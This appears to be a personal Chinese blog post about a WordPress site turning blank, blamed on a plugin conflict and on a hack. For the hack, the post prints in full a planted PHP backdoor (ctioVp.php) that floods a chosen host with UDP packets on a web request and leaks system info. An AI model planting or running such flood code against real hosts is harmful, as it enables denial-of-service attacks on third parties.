WordPress打开空白那些事今天看了一个weibo,说是20件最没软用的东西,人生里这20种东西最没卵用,有一件叫做因太懒从未使用的懒人支架,哈哈哈,逗死我了。真的是懒到极致了,我最近也是懒到极致了。工作的事情当然不会懒,但是好像除了工作的事情我好像很多东西都没有了兴趣,连找妹子聊天都没有了。

我的网站是用DNSPOD做了域名解析,同时也用了免费版的网站监控,当网站连不上的时候可以通过邮件和微信的方式推送过来。

前段时间出现了几次,但是有两次不是因为服务器的问题,而是确实是有问题的。现象是网站能够ping通,能够打开,但是打开为一片空白,而不是连不上。

一、网站被人恶意破坏了

在空间管理的界面上看了下文件修改日期,有两个文件非常可疑。index.php的修改日期不对,ctioVp.php这个文件是新增的。

index.php

被改成里面有各种链接的东西。

ctioVp.php

这个文件有趣了,看起来像是黑网站的相关代码,具体我没怎么看。~。~我不懂PHP啊。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
set_time_limit(999999);
$host = $_GET['host'];
$port = $_GET['port'];
$exec_time = $_GET['time'];
$Sendlen = $_GET['len'];
ignore_user_abort(True);
 
if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0)
{
	if (StrLen($_GET['rat'])<>0)
	{
		echo php_uname();
		exit;
	}
	exit;
}
 
for($i=0; $i < $Sendlen; $i++)
{
	$out .= "A";
}
 
$max_time = time() + $exec_time;
while(1)
{
    if(time() > $max_time)
	{
        break;
    }
    $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
    if($fp)
	{
		fwrite($fp, $out);
		fclose($fp);
    }
}
?>

**解决方法**

把citoVp.php文件删掉,恢复index.php的备份。

查了下我的登录记录,没有发现什么可疑。为了网站安全还是修改了后台登录的密码。Orz

二、WordPress的主题或者插件冲突

这次通过查看网站文件和数据库,没有发现什么问题,后台登录界面也显示不出来,网上搜了下,说是可能主题或者插件与WordPress冲突了。

1、主题冲突

通过ftp,把wp-content\themes 目录下在用的主题的文件夹名字改成别的名字。然后看下能否打开。

如果能打开,就确定是主题的问题。

如果不能打开,再试试喜下面的方法。

2、插件冲突

通过ftp,把wp-content\plugins目录改个名字,新建一个plugins文件夹,再看下能否正常显示网站。

如果能打开,那就把插件一个个恢复回去,看看能否打开。

我这边排查之后,确定了Baidu Sitemap Generator这个插件导致整个网站不能正常显示。禁用后正常。

我目前WordPress版本为:4.4.2

Baidu Sitemap Generator 的版本为 1.6.5版本

>> 若为原创,转载请注明: 转载自Laycher's Blog

>> 本文链接地址: WordPress打开空白那些事

>> 订阅本站: http://feed.feedsky.com/laycher



无觅相关文章插件,快速提升流量